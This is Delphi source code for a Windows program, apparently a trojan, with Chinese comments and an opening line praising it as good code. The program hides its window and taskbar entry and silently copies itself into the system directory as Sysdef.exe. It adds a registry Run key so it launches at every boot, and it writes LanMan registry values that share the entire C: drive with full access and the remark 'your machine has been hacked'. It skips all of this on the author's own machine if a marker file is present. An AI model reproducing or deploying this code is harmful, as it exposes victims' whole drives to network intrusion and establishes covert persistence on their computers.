//很不错的代码哦
unit main;
interface
uses
Windows, Messages, SysUtils, Classes, Graphics, Controls, Forms, Dialogs,
StdCtrls, ExtCtrls;
type
Tmainform = class(TForm)
Timer1: TTimer;
procedure FormShow(Sender: TObject);
procedure FormCreate(Sender: TObject);
procedure Timer1Timer(Sender: TObject);
private
{ Private declarations }
public
{ Public declarations }
end;
var
mainform: Tmainform;
implementation
uses Registry,shellAPI;
{$R *.DFM}
procedure Tmainform.FormShow(Sender: TObject);
var
MyReg:TRegistry;
mysyspath
char;
F:TShFileOpStruct;
file_To,file_From:string;
begin
//得到用户机系统目录
GetMem(MySysPath,255);
GetSystemDirectory(MySysPath,255);
//文件名
file_To:=mysyspath+'/Sysdef.exe'; //复制目标文件名
file_From:=application.ExeName; //复制源文件名
//以下为注册表修改
MyReg:=TRegistry.Create ;
MyReg.RootKey :=HKEY_LOCAL_MACHINE;
try
if not MyReg.OpenKey ('/SOFTWARE/Microsoft/Windows/CurrentVersion/Network/LanMan/C',True)
then ;
//指定子键能否打开,如不能则创建它
//该子键包含硬盘共享参数
if filesearch('wz.txt',MySysPath)='' then
//搜索有否wz.txt文件,有则不执行
//该判断用于自己的机子,防止自己被黑,因而在自己的系统目录下建立此文件,则不会被修改
begin
MyReg.WriteInteger('Flags',258); //共享为完全共享
MyReg.WriteInteger('Type',0);
MyReg.WriteString('Path','C:/');
MyReg.WriteString('Remark','你的机子已被黑');
MyReg.CloseKey ;
end;
if not MyReg.OpenKey ('/SOFTWARE/Microsoft/Windows/CurrentVersion/Run',True)
then ;
begin
MyReg.WriteString('Sysdef',file_To); //将程序加载到启动中,每次开机自动执行
end;
finally
MyReg.Free; //释放注册表资源
end;
//以下为拷贝文件
with F do
begin
wnd:=application.Handle;
pFrom:=pchar(file_From);
pTo:=pchar(file_To);
if FileSearch('sysdef.exe',mysyspath)='' then
wFunc:=FO_COPY; //文件是否存在,不存在则复制
fFlags:=FOF_SILENT; //不显示Copy动画
end;
if ShFileOperation(F)<>0 then
; //此处为文件COPY失败的操作,此程序里为空操作
timer1.Enabled :=true;
end;
procedure Tmainform.FormCreate(Sender: TObject);
begin
BorderStyle:=bsNone;
height:=0;
width:=0;
timer1.Enabled :=false;
//程序不出现在任务栏
SetWindowLong(Application.Handle,GWL_EXSTYLE,WS_EX_TOOLWINDOW);
end;
procedure Tmainform.Timer1Timer(Sender: TObject);
begin
close;
application.Terminate;
end;
end.